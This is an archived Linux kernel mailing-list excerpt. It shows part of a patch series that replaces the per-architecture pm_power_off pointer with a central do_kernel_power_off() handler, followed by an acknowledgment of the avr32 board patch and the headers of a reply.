 #include <linux/ptrace.h>
 #include <linux/unistd.h>
 #include <linux/hardirq.h>
@@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 	return tsk->thread.lr;
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_restart(char *__unused)
 {
 #if defined(CONFIG_PLAT_MAPPI3)
@@ -67,7 +65,9 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	/* M32R_FIXME */
+	do_kernel_power_off();
+	for (;;)
+		;
 }
 
 void show_regs(struct pt_regs * regs)
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
index afe3d6e..bbc0a63 100644
--- a/arch/m68k/kernel/process.c
+++ b/arch/m68k/kernel/process.c
@@ -78,14 +78,10 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	for (;;);
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void show_regs(struct pt_regs * regs)
 {
 	printk("\n");
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 483dff9..8d95773 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
 }
 #endif
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void (*soc_restart)(char *cmd);
 void (*soc_halt)(void);
 
@@ -90,8 +87,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	smp_send_stop();
 	hard_processor_halt(HALT_OK);
 }
diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/process.c
index b2dd371..0ebca36 100644
--- a/arch/microblaze/kernel/process.c
+++ b/arch/microblaze/kernel/process.c
@@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
 				regs->msr, regs->ear, regs->esr, regs->fsr);
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void flush_thread(void)
 {
 }
diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.c
index fbe58c6..2c6b32c 100644
--- a/arch/microblaze/kernel/reset.c
+++ b/arch/microblaze/kernel/reset.c
@@ -103,6 +103,7 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	pr_notice("Machine power off...\n");
+	do_kernel_power_off();
 	while (1)
 		;
 }
diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
index 07fc524..09e74d2 100644
--- a/arch/mips/kernel/reset.c
+++ b/arch/mips/kernel/reset.c
@@ -21,9 +21,6 @@
  */
 void (*_machine_restart)(char *command);
 void (*_machine_halt)(void);
-void (*pm_power_off)(void);
-
-EXPORT_SYMBOL(pm_power_off);
 
 void machine_restart(char *command)
 {
@@ -39,6 +36,5 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
index 3707da5..c78b2eb 100644
--- a/arch/mn10300/kernel/process.c
+++ b/arch/mn10300/kernel/process.c
@@ -20,6 +20,7 @@
 #include <linux/user.h>
 #include <linux/interrupt.h>
 #include <linux/delay.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/percpu.h>
 #include <linux/err.h>
@@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 }
 
 /*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
-/*
  * On SMP it's slightly faster (but much more power-consuming!)
  * to poll the ->work.need_resched flag instead of waiting for the
  * cross-CPU IPI to arrive. Use this option with caution.
@@ -93,6 +88,7 @@ void machine_power_off(void)
 #ifdef CONFIG_KERNEL_DEBUGGER
 	gdbstub_exit(0);
 #endif
+	do_kernel_power_off();
 }
 
 void show_regs(struct pt_regs *regs)
diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.c
index 386af25..494afd2 100644
--- a/arch/openrisc/kernel/process.c
+++ b/arch/openrisc/kernel/process.c
@@ -25,6 +25,7 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/mm.h>
+#include <linux/pm.h>
 #include <linux/stddef.h>
 #include <linux/unistd.h>
 #include <linux/ptrace.h>
@@ -51,7 +52,7 @@
  */
 struct thread_info *current_thread_info_set[NR_CPUS] = { &init_thread_info, };
 
-void machine_restart(void)
+void machine_restart(char *cmd)
 {
 	printk(KERN_INFO "*** MACHINE RESTART ***\n");
 	__asm__("l.nop 1");
@@ -72,11 +73,12 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
+
+	do_kernel_power_off();
+
 	__asm__("l.nop 1");
 }
 
-void (*pm_power_off) (void) = machine_power_off;
-
 /*
  * When a process does an "exec", machine state like FPU and debug
  * registers need to be reset.  This is a hook function for that.
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..3f5d14a 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -41,6 +41,7 @@
 #include <linux/fs.h>
 #include <linux/module.h>
 #include <linux/personality.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
@@ -133,7 +134,9 @@ void machine_power_off(void)
 	pdc_soft_power_button(0);
 	
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
-		
+
+	do_kernel_power_off();
+
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
@@ -141,9 +144,6 @@ void machine_power_off(void)
 	       "Please power this system off now.");
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * Free current thread data structures etc..
  */
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 1362cd6..5b7a851 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -141,6 +141,9 @@ void machine_power_off(void)
 	machine_shutdown();
 	if (ppc_md.power_off)
 		ppc_md.power_off();
+
+	do_kernel_power_off();
+
 #ifdef CONFIG_SMP
 	smp_send_stop();
 #endif
@@ -151,9 +154,6 @@ void machine_power_off(void)
 /* Used by the G5 thermal driver */
 EXPORT_SYMBOL_GPL(machine_power_off);
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
-
 void machine_halt(void)
 {
 	machine_shutdown();
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index e80d9ff..267e025 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -263,13 +263,9 @@ void machine_power_off(void)
 		 */
 		console_unblank();
 	_machine_power_off();
-}
 
-/*
- * Dummy power off function.
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
+	do_kernel_power_off();
+}
 
 static int __init early_parse_mem(char *p)
 {
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3..b76ea67 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -29,9 +29,6 @@
 #include <linux/pm.h>
 #include <linux/rcupdate.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /* If or when software machine-restart is implemented, add code here. */
 void machine_restart(char *command) {}
 
@@ -39,7 +36,10 @@ void machine_restart(char *command) {}
 void machine_halt(void) {}
 
 /* If or when software machine-power-off is implemented, add code here. */
-void machine_power_off(void) {}
+void machine_power_off(void)
+{
+	do_kernel_power_off();
+}
 
 void ret_from_fork(void);
 void ret_from_kernel_thread(void);
diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
index 04afe5b..065de12 100644
--- a/arch/sh/kernel/reboot.c
+++ b/arch/sh/kernel/reboot.c
@@ -11,9 +11,6 @@
 #include <asm/tlbflush.h>
 #include <asm/traps.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_SUPERH32
 static void watchdog_trigger_immediate(void)
 {
@@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 }
 
 static void native_machine_halt(void)
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
index 50e7b62..cb8148a 100644
--- a/arch/sparc/kernel/process_32.c
+++ b/arch/sparc/kernel/process_32.c
@@ -48,14 +48,6 @@
  */
 void (*sparc_idle)(void);
 
-/* 
- * Power-off handler instantiation for pm.h compliance
- * This is done via auxio, but could be used as a fallback
- * handler when auxio is not present-- unused for now...
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * sysctl - toggle power-off restriction for serial console 
  * systems in machine_power_off()
@@ -112,6 +104,8 @@ void machine_power_off(void)
 		sbus_writeb(power_register, auxio_power_register);
 	}
 
+	do_kernel_power_off();
+
 	machine_halt();
 }
 
diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
index eba7d91..3c0bb03 100644
--- a/arch/sparc/kernel/reboot.c
+++ b/arch/sparc/kernel/reboot.c
@@ -16,17 +16,13 @@
  */
 int scons_pwroff = 1;
 
-/* This isn't actually used, it exists merely to satisfy the
- * reference in kernel/sys.c
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
 	if (strcmp(of_console_device->type, "serial") || scons_pwroff)
 		prom_halt_power_off();
 
+	do_kernel_power_off();
+
 	prom_halt();
 }
 
diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
index 6c5d2c0..8ff4a7f 100644
--- a/arch/tile/kernel/reboot.c
+++ b/arch/tile/kernel/reboot.c
@@ -36,6 +36,9 @@ void machine_power_off(void)
 {
 	arch_local_irq_disable_all();
 	smp_send_stop();
+
+	do_kernel_power_off();
+
 	hv_power_off();
 }
 
@@ -45,7 +48,3 @@ void machine_restart(char *cmd)
 	smp_send_stop();
 	hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
 }
-
-/* No interesting distinction to be made here. */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
index ced8903..a82ef28 100644
--- a/arch/um/kernel/reboot.c
+++ b/arch/um/kernel/reboot.c
@@ -11,8 +11,6 @@
 #include <os.h>
 #include <skas.h>
 
-void (*pm_power_off)(void);
-
 static void kill_off_processes(void)
 {
 	if (proc_mm)
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e99..9490dd5 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -56,16 +56,9 @@ void machine_halt(void)
 	gpio_set_value(GPO_SOFT_OFF, 0);
 }
 
-/*
- * Function pointers to optional machine specific functions
- */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	machine_halt();
 }
 
diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
index 17962e6..5c09e28 100644
--- a/arch/x86/kernel/reboot.c
+++ b/arch/x86/kernel/reboot.c
@@ -30,12 +30,6 @@
 #include <asm/x86_init.h>
 #include <asm/efi.h>
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static const struct desc_ptr no_idt = {};
 
 /*
@@ -647,11 +641,12 @@ static void native_machine_halt(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off) {
+	if (have_kernel_power_off()) {
 		if (!reboot_force)
 			machine_shutdown();
-		pm_power_off();
+		do_kernel_power_off();
 	}
+
 	/* A fallback in case there is no PM info available */
 	tboot_shutdown(TB_SHUTDOWN_HALT);
 }
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index fac5e4f..bc08998 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
 
 static void xen_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_power_off();
 	xen_reboot(SHUTDOWN_poweroff);
 }
 
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
index 1c85323..c487296 100644
--- a/arch/xtensa/kernel/process.c
+++ b/arch/xtensa/kernel/process.c
@@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
 
 struct task_struct *current_set[NR_CPUS] = {&init_task, };
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
-
 #if XTENSA_HAVE_COPROCESSORS
 
 void coprocessor_release_all(struct thread_info *ti)
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
index ef31b77..f10cf92 100644
--- a/drivers/parisc/power.c
+++ b/drivers/parisc/power.c
@@ -95,8 +95,7 @@ static void process_shutdown(void)
 		/* send kill signal */
 		if (kill_cad_pid(SIGINT, 1)) {
 			/* just in case killing init process failed */
-			if (pm_power_off)
-				pm_power_off();
+			kernel_power_off();
 		}
 	}
 }
diff --git a/kernel/power/power_off_handler.c b/kernel/power/power_off_handler.c
index f838e63..97b7163 100644
--- a/kernel/power/power_off_handler.c
+++ b/kernel/power/power_off_handler.c
@@ -22,6 +22,12 @@
 #include <linux/types.h>
 
 /*
+ * If set, calling this function will power off the system immediately.
+ */
+void (*pm_power_off)(void);
+EXPORT_SYMBOL(pm_power_off);
+
+/*
  *	Notifier list for kernel code which wants to be called
  *	to power off the system.
  */
@@ -253,6 +259,8 @@ void do_kernel_power_off(void)
 	 * removed while the call chain is traversed, but we'll have to carry
 	 * that risk.
 	 */
+	if (pm_power_off)
+		pm_power_off();
 	raw_notifier_call_chain(&power_off_handler_list, 0, NULL);
 }
 
diff --git a/kernel/reboot.c b/kernel/reboot.c
index 5925f5a..d87d921 100644
--- a/kernel/reboot.c
+++ b/kernel/reboot.c
@@ -306,9 +306,9 @@ SYSCALL_DEFINE4(reboot, int, magic1, int, magic2, unsigned int, cmd,
 		return ret;
 
 	/* Instead of trying to make the power_off code look like
-	 * halt when pm_power_off is not set do it the easy way.
+	 * halt when no power-off handler exists do it the easy way.
 	 */
-	if ((cmd == LINUX_REBOOT_CMD_POWER_OFF) && !pm_power_off)
+	if (cmd == LINUX_REBOOT_CMD_POWER_OFF && !have_kernel_power_off())
 		cmd = LINUX_REBOOT_CMD_HALT;
 
 	mutex_lock(&reboot_mutex);
-- 
1.9.1


From - Thu Nov 08 21:10:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 33/44] avr32: atngw100: Register with kernel poweroff
 handler
Date: Sat, 1 Nov 2014 11:16:37 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20141101101637.GA5765@samfundet.no>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-34-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1414837053 12791 80.91.229.3 (1 Nov 2014 10:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Nov 2014 10:17:33 +0000 (UTC)
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Haavard Skinnemoen
To: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sat Nov 01 11:17:23 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XkVkI-0005s5-OX
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sat, 01 Nov 2014 11:17:23 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751981AbaKAKRV (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Sat, 1 Nov 2014 06:17:21 -0400
Original-Received: from cassarossa.samfundet.no ([193.35.52.29]:36044 "EHLO
	cassarossa.samfundet.no" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751265AbaKAKRU (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Sat, 1 Nov 2014 06:17:20 -0400
Original-Received: from egtvedt by cassarossa.samfundet.no with local (Exim 4.80)
	(envelope-from <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>)
	id 1XkVjZ-0003c6-QA; Sat, 01 Nov 2014 11:16:37 +0100
Content-Disposition: inline
In-Reply-To: <1412659726-29957-34-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4952 gmane.linux.kernel:1819040 gmane.linux.drivers.devicetree:96520 gmane.linux.kernel.virtualization.lguest:1543 gmane.linux.acpi.devel:71721 gmane.linux.ports.alpha:2530 gmane.linux.ports.hexagon:874 gmane.linux.ports.ppc64.devel:106553 gmane.linux.ports.tegra:19841 gmane.linux.kernel.openipmi:2546 gmane.linux.uml.devel:14795 gmane.linux.ports.arm.kernel:368299 gmane.linux.ports.ia64:24680 gmane.linux.kernel.metag:393 gmane.linux.ports.mips.general:44966 gmane.linux.ports.parisc:6196 gmane.linux.power-management.general:51974 gmane.linux.ports.sh.devel:40585
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4952>

Around Mon 06 Oct 2014 22:28:35 -0700 or thereabout, Guenter Roeck wrote:
> Register with kernel poweroff handler instead of setting pm_power_off
> directly.
> 
> Cc: Haavard Skinnemoen <hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
> Cc: Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>
> Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>

Acked-by: Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>

> ---
>  arch/avr32/boards/atngw100/mrmt.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/arch/avr32/boards/atngw100/mrmt.c b/arch/avr32/boards/atngw100/mrmt.c
> index 91146b4..54d0c27 100644
> --- a/arch/avr32/boards/atngw100/mrmt.c
> +++ b/arch/avr32/boards/atngw100/mrmt.c
> @@ -274,7 +274,7 @@ static int __init mrmt1_init(void)
>  {
>  	gpio_set_value( PIN_PWR_ON, 1 );	/* Ensure PWR_ON is enabled */
>  
> -	pm_power_off = mrmt_power_off;
> +	register_poweroff_handler_simple(mrmt_power_off, 128);
>  
>  	/* Setup USARTS (other than console) */
>  	at32_map_usart(2, 1, 0);	/* USART 2: /dev/ttyS1, RMT1:DB9M */
-- 
mvh
Hans-Christian Egtvedt

From - Thu Nov 08 21:10:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 33/44] avr32: atngw100: Register with kernel poweroff
 handler
Date: Sat, 01 Nov 2014 10:02:58 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <54551242.2020604@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-34-git-send-email-linux@roeck-us.net> <20141101101637.GA5765@samfundet.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1414861406 8321 80.91.229.3 (1 Nov 2014 17:03:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Nov 2014 17:03:26 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Haavard Skinnemoen
To: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Original-X-From: linux-sh-owner@vger.kernel.org Sat Nov 01 18:03:17 2014
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1Xkc56-0008DS-SZ
	for glps-linuxsh-dev@plane.gmane.org; Sat, 01 Nov 2014 18:03:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759642AbaKARDM (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Sat, 1 Nov 2014 13:03:12 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:36991 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758135AbaKARDI (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Sat, 1 Nov 2014 13:03:08 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=+vyobUtl6o+NbWxalKaZXZhrn9jkKWElOVIpoJS9yKM=;
	b=8HYClz2bG/I0l/otDvrmOcGtvH5W9XibcmFaeK9mu2Zv6n2jvucdVZJclrw+8pZdCXnHgzj34agQymeZBNwQcQnipk6PgXc57W9e/L6rBQZOJgSPNIzNlth5+oIJUp8OINfG4R14DueHoHKH/ti7UbmdXYXgZTmdn9LT4KWvnmg=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xkc4x-000bTk-Pr
	for linux-sh@vger.kernel.org; Sat, 01 Nov 2014 17:03:07 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:34590 helo=server.roeck-us.net)
	by bh-25.webhostbox.net with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128)
	(Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1Xkc4r-000aNg-FX; Sat, 01 Nov 2014 17:03:02 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
In-Reply-To: <20141101101637.GA5765@samfundet.no>
X-Authenticated_sender: linux@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.0
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.5455124B.024D,ss=1,re=0.001,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.001
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: C_4847,
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 16
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
